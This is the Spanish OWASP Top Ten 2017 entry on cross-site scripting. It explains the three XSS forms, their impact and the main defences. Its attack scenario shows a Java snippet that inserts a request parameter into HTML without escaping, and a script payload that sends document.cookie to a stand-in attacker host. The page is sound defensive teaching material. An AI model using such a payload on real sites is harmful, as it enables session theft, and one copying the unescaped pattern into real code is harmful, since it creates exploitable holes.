OWASP Top Ten 2017 (es)

A7:2017-Secuencias de Comandos en Sitios Cruzados (XSS)

Languages: en de [es]
Agente de amenaza / Vector de ataque Debilidades de seguridad Impacto
Específico
de la Apl.
Explotabilidad: 3 Prevalencia: 3 Detectabilidad: 3 Técnico: 2 ¿Negocio?
Existen herramientas automatizadas que permiten detectar y explotar las tres formas de XSS, y también se encuentran disponibles kits de explotación gratuitos.
XSS es la segunda vulnerabilidad más frecuente en OWASP Top 10, y se encuentra en alrededor de dos tercios de todas las aplicaciones.
Las herramientas automatizadas pueden detectar algunos problemas XSS en forma automática, particularmente en tecnologías maduras como PHP, J2EE / JSP, y ASP.NET.
El impacto de XSS es moderado para el caso de XSS Reflejado y XSS en DOM, y severa para XSS Almacenado, que permite ejecutar secuencias de comandos en el navegador de la víctima, para robar credenciales, secuestrar sesiones, o la instalación de software malicioso en el equipo de la víctima.
¿La aplicación es vulnerable?
Existen tres formas usuales de XSS para atacar a los navegadores de los usuarios
* XSS Reflejado: la aplicación o API utiliza datos sin validar, suministrados por un usuario y codificados como parte del HTML o Javascript de salida. No existe una cabecera que establezca la Política de Seguridad de Contenido (CSP). Un ataque exitoso permite al atacante ejecutar comandos arbitrarios (HTML y Javascript) en el navegador de la víctima. Típicamente el usuario deberá interactuar con un enlace, o alguna otra página controlada por el atacante, como un ataque de abrevadero, publicidad maliciosa, o similar.
* XSS Almacenado: la aplicación o API almacena datos proporcionados por el usuario sin validar ni sanear, los cuales posteriormente son visualizados o utilizados por otro usuario o un administrador. Usualmente es considerado como de riesgo de nivel alto o crítico.
* XSS Basados en DOM: los marcos de trabajo en JavaScript, aplicaciones de página única o APIs incluyen datos dinámicamente, controlables por un atacante. Idealmente, se debe evitar procesar datos controlables por el atacante en APIs no seguras.
Los ataques XSS incluyen el robo de la sesión, apropiación de la cuenta, evasión de autentificación de múltiples pasos, reemplazo de nodos DOM, inclusión de troyanos de autentificación, ataques contra el navegador, descarga de software malicioso, registradores de teclas (keyloggers), y otros tipos de ataques al lado cliente.
Cómo se previene
Prevenir XSS requiere mantener los datos no confiables separados del contenido activo del navegador.
* Utilizar marcos de trabajo seguros que, por diseño, automáticamente codifican el contenido para prevenir XSS, como en Ruby on Rails o React JS. Conozca la limitación de la protección XSS de cada marco de y maneje de forma adecuada los casos de usos no cubiertos.
* Escapar datos de requerimientos HTTP no confiables con base en el contexto, en la salida HTML (cuerpo, atributos, JavaScript, CSS, o URL), para resolver vulnerabilidades de XSS Reflejado y XSS Almacenado. La hoja de trucos OWASP para prevenir XSS’ tiene detalles sobre las técnicas para escapar requeridas.
* Aplicar codificación sensitiva al contexto, cuando se modifica el documento en el navegador del cliente, ayuda a prevenir DOM XSS. Cuando no se puede evitar, se pueden aplicar técnicas para escpar sensitivas al contexto para la API del navegador como se describe en la hoja de trucos OWASP para evitar XSS DOM.
* Habilitar una Política de Seguridad de Contenido (CSP) es una defensa profunda para la mitigación de vulnerabilidades XSS. Es efectiva si no hay otras vulnerabilidades que permitan colocar código malicioso vía inclusión de archivos (e.g vulnerabilidad de cruce de directorio que sobreescriba, o librerías vulnerables provenientes de Redes de Distribución de Contenidos (CDN)).
Ejemplos de escenarios de ataque
Escenario 1: la aplicación utiliza datos no confiables en la construcción del código HTML sin validarlos ni escapar:
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
El atacante modifica el parámetro “CC” en el navegador por:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Este ataque causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiéndole secuestrar la sesión actual del usuario. Nota: los atacantes también pueden utilizar XSS para anular cualquier defensa contra Falsificación de Peticiones en Sitios Cruzados (CSRF) que la aplicación pueda utilizar.
Referencias